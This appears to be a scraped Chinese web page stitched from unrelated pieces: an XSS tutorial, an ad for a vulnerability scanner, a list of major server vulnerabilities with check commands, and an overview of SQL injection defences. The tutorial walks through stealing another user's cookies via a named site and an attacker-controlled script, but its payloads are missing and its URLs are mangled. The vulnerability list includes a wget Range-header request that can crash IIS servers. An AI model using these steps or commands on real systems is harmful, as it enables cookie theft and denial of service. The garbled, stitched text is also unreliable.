跨站脚本执行漏洞详解 本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常见问题(FAQ)。 【漏洞成因】 原因很简单,就是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。 【漏洞形式】 这里所说的形式,实际上是指CGI输入的形式,主要分为两种: 1.显示输入 2.隐式输入 其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。 显示输入又可以分为两种: 1.输入完成立刻输出结果 2.输入完成先存储在文本文件或数据库中,然后再输出结果 注意:后者可能会让你的网站面目全非!:( 而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 【漏洞危害】 大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。 1.获取其他用户Cookie中的敏感数据 2.屏蔽页面特定信息 3.伪造页面信息 4.拒绝服务攻击 5.突破外网内网不同安全设置 6.与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等 7.其它 一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。

【利用方式】 下面我们将通过具体例子来演示上面的各种危害,这样应该更能说明问题,而且更易于理解。为了条理更清晰一些,我们将针对每种危害做一个实验。 为了做好这些实验,我们需要一个抓包软件,我使用的是Iris,当然你可以选择其它的软件,比如NetXray什么的。至于具体的使用方法,请参考相关帮助或手册。 另外,需要明白的一点就是:只要服务器返回用户提交的信息,就可能存在跨站脚本执行漏洞。 好的,一切就绪,我们开始做实验!:) 实验一:获取其他用户Cookie中的敏感信息 我们以国内著名的同学录站点https://www.wendangku.net/doc/3a14761926.html,为例来说明一下,请按照下面的步骤进行: 1.进入首页https://www.wendangku.net/doc/3a14761926.html,/ 2.输入用户名“

”,提交,发现服务器返回信息中包含了用户提交的“

”。 3.分析抓包数据,得到实际请求: https://www.wendangku.net/doc/3a14761926.html,/txl/login/login.pl?username=

&passwd=&ok.x=28&ok .y=6 4.构造一个提交,目标是能够显示用户Cookie信息: https://www.wendangku.net/doc/3a14761926.html,/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6 5.如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:https://www.wendangku.net/doc/3a14761926.html,/txl/login/login.pl?username=&passwd=&ok.x=28&o k.y=6 其中https://www.wendangku.net/doc/3a14761926.html,/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:

Web安全漏洞的解决方法

计算机在运行时,可能会出现Web脚本漏洞的问题,这严重影响我们的用户体验,针对此类现象,Web安全漏洞的解决方法有哪些呢? 此时,我们可以采用铱迅漏洞扫描系统进行操作,铱迅漏洞扫描系统整体操作简单,产品功能强大,部署方式多样。 Web安全漏洞的解决方法: 铱迅漏洞扫描系统(英文:Yxlink Network Vulnerability Scan System,简称:Yxlink NVS),是支持IP地址段批量反查域名、内网穿透扫描的专业漏洞扫描器,可支持主机漏洞扫描、Web漏洞扫描、弱密码扫描等。 铱迅漏洞扫描系统可以广泛用于扫描数据库、操作系统、邮件系统、Web服务器等平台。通过部署铱迅漏洞扫描系统,快速掌握主机中存在的脆弱点,能够降低与缓解主机中的漏洞造成的威胁与损失。 批量扫描 传统的漏洞扫描产品,仅仅可以扫描指定的域名,而铱迅漏洞扫描系统允许扫描一个大型的IP地址段,通过铱迅基础域名数据库,反查每个IP地址中指向的域名,再进行扫描,大大增加扫描的效率,增强易操作度。

庞大漏洞库支撑 铱迅漏洞扫描系统拥有完整的漏洞库和即时更新能力,是基于国际CVE标准建立的,分为紧急、高危、中等、轻微、信息五个级别,提供超过5万条以上的漏洞库,可以完整扫描到各种类型的漏洞。 远程桌面弱口令探测 铱迅漏洞扫描系统,是可以提供远程桌面(3389服务)弱口令探测功能的产品。如果计算机存在远程桌面弱口令,攻击者就可以直接对计算机进行控制。 CVE、CNNVD、Metasploit编号兼容 铱迅漏洞扫描系统,兼容CVE、CNNVD、Metasploit编号。为客户提供CVE兼容的漏洞数据库,以便达到更好的风险控制覆盖范围,实现更容易的协同工作能力,提高客户整个企业的安全能力。注:CVE,是国际安全组织Common Vulnerabilities & Exposures通用漏洞披露的缩写,为每个漏洞和暴露确定了的名称。 可利用漏洞显示

重大漏洞说明

重大漏洞说明 1.IIS远程代码执行漏洞 说明:IIS远程代码执行漏洞,通过利用此漏洞,攻击者可在受害者机器上远程执行代码或者提升权限,属于高危安全漏洞。造成此漏洞的原因在于:Http.sys(处理HTTP请求的内核模式驱动程序)错误解析构造的HTTP请求时,在实现上存在远程代码执行漏洞,成功利用此漏洞后,攻击者可在System账户上下文中执行任意代码。 目前该漏洞可导致服务器远程蓝屏宕机,此外不排除执行恶意指令控制服务器的可能性。针对此漏洞,微软公司已经发布了安全补丁。 验证工具:wget 验证环境:KALI 验证方法:wget –i文件名--debug --header="Range: bytes=0-18446744073709551615" 存在漏洞返回结果:

修复方法:建议安装对应版本的系统补丁。 2. IIS写权限漏洞 说明:IIS是微软公司开发的一种Web服务器,通过IIS可以发布网站对外提供服务。如果对IIS配置不当,对网站目录的权限控制不严,用户在访问网站时如果使用PUT方法写入恶意代码到服务器,最终导致服务器可以被远程控制。 验证工具:curl 验证环境:KALI 验证方法:curl -v -X OPTIONS192.168.1.1 (例) 返回结果:

Allow返回中没有PUT则认为通过。 修复方法:建议WEB服务器扩展里设置WebDA V为禁止;网站主目录权限配置里禁用写入权限,可上传目录禁用执行权限。 3.WebLogicJava反序列过程远程命令执行漏洞 说明:WebLogicJava反序列过程远程命令执行漏洞,利用此漏洞可以实现远程代码执行,属于高危安全漏洞。受此漏洞影响的包括WebLogic、WebSphere、JBoss、Jenkins、OpenNMS等java组件与应用。 验证方法:检查工具 修复方法:根据weblogic版本修复方式也不相同,建议联系软件厂商进行修复,以免自行修复发生未知错误影响系统运行。 4.海康威视摄像头漏洞 说明:海康威视摄像头漏洞,利用默认口令登录设备后,可以实时查看设备监控区域的图像,容易造成信息泄露。 修复建议:建议加强口令管理,并对管理的源ip进行地址限制。 5.心脏滴血漏洞 说明:心脏滴血漏洞,利用此漏洞可以获取用户的密码、cookie等信息,造成敏感信息泄露,属于高危安全漏洞。

常见漏洞类型区别汇总

常见漏洞类型区别 一、SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串中夹带的SQL指令的检查,被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。 通常情况下,SQL注入的位置包括: (1)表单提交,主要是大POST请求,也包括GET请求; (2)URL参数提交,主要为GET请求参数; (3)Cookie参数提交; (4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等;

(5)一些边缘的输入点,比如.mp3文件的一些文件信息等。 SQL注入的危害不仅体现在数据库层面上,还有可能危及承载数据库的操作系统;如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不局限于: (1)数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。作为数据的存储中心,数据库里往往保存着各类的隐私信息,SQL注入攻击能导致这些隐私信息透明于攻击者。 (2)网页篡改:通过操作数据库对特定网页进行篡改。 (3)网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。 (4)数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。 (5)服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。 (6)破坏硬盘数据,瘫痪全系统。

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常使用的方案有: (1)所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。 (2)对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。 (3)确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。 (4)数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。 (5)网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。 (6)严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。

相关文档
相关文档 最新文档